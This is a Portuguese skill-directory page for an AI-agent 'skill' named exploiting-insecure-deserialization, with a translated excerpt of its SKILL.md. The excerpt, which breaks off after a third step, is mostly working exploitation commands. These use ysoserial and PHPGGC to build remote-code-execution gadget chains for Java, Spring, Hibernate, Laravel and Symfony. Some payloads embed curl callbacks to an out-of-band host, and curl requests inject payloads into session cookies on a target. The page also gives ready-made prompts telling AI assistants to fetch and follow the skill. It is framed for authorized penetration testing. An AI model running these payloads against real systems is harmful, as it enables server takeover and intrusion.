Pular para o conteúdo
Skillpedia
Diversos35 mil · #5747

exploiting-insecure-deserialization

Faz seu agente identificar e explorar vulnerabilidades de desserialização insegura para obter execução remota de código.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança em como programas de computador lidam com dados 'serializados' (dados que foram convertidos em um formato para serem guardados ou enviados). Se a falha for encontrada, é possível executar comandos no servidor.

Quando usar

  • ✓Durante testes de segurança autorizados em aplicações web.
  • ✓Quando a aplicação usa dados serializados em cookies, parâmetros ou filas de mensagens.
  • ✓Ao verificar se dados enviados por usuários podem ser manipulados para executar código.

Exemplo do que pedir para a IA

“Procure por falhas de desserialização insegura em aplicações Java, PHP, Python e .NET.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-insecure-deserialization/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-insecure-deserialization/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta verifica se a aplicação aceita dados serializados de fontes não confiáveis. Se sim, ela tenta enviar dados maliciosos que, ao serem 'desserializados' (reconvertidos), executam comandos no servidor.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-insecure-deserialization

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-insecure-deserialization/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Desserialização Insegura

Quando Usar

  • Durante testes de penetração autorizados quando aplicações processam dados serializados (cookies, parâmetros de API, filas de mensagens)
  • Ao identificar marcadores de serialização Java (ac ed 00 05 / rO0AB) em tráfego HTTP
  • Para testar aplicações PHP que usam unserialize() em entradas controladas pelo usuário
  • Ao avaliar aplicações .NET usando BinaryFormatter, ObjectStateFormatter, ou ViewState
  • Durante avaliações de segurança de aplicações que usam pickle (Python), Marshal (Ruby), ou desserialização YAML

Pré-requisitos

  • Autorização: Contrato escrito de teste de penetração com escopo de teste de RCE
  • ysoserial: Ferramenta de exploração de desserialização Java (git clone https://github.com/frohoff/ysoserial.git)
  • ysoserial.net: Ferramenta de exploração de desserialização .NET (git clone https://github.com/pwntester/ysoserial.net.git)
  • PHPGGC: Gerador de cadeias de gadgets de desserialização PHP (git clone https://github.com/ambionics/phpggc.git)
  • Burp Suite Professional: Com a extensão Java Deserialization Scanner
  • Java Runtime: Para executar o ysoserial
  • Collaborator/interactsh: Para confirmação fora de banda da execução de código

Fluxo de Trabalho

Passo 1: Identificar Dados Serializados no Tráfego da Aplicação

Detecte objetos serializados em parâmetros HTTP, cookies e cabeçalhos.

# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA

# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"

# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)

# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)

# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)

Passo 2: Testar Desserialização Java com ysoserial

Gere payloads de desserialização para aplicações Java.

# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"

# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0

# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks

# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0

# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0

# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0

# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
  -b "session=$PAYLOAD" \
  "https://target.example.com/dashboard"

Passo 3: Testar Desserialização PHP com PHPGGC

Gere cadeias de gadgets PHP para frameworks comuns.

# Listar cadeias de gadgets PHP disponíveis
./phpggc -l

# Gerar payloads para frameworks PHP comuns
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b

# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b

# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b

# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

# Testar injetando em cookie ou parâmetro
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
  "https://target.example.com/dashboard"

# Injeção de objeto PHP via string serializada manipulada
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modificado: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}


…
Perguntas frequentes

O que são dados 'serializados'?

É um formato que transforma objetos de um programa em uma sequência de bytes para que possam ser armazenados ou transmitidos, e depois reconstruídos no formato original.

O que é 'desserialização insegura'?

É quando um programa não verifica corretamente os dados serializados que recebe, permitindo que um atacante envie dados especialmente criados para executar código malicioso.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização explícita antes de realizar qualquer teste de segurança para evitar problemas legais.

Detalhes

Descrição original do autor

Identifying and exploiting insecure deserialization vulnerabilities in Java, PHP, Python, and .NET applications to achieve remote code execution during authorized penetration tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5747
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas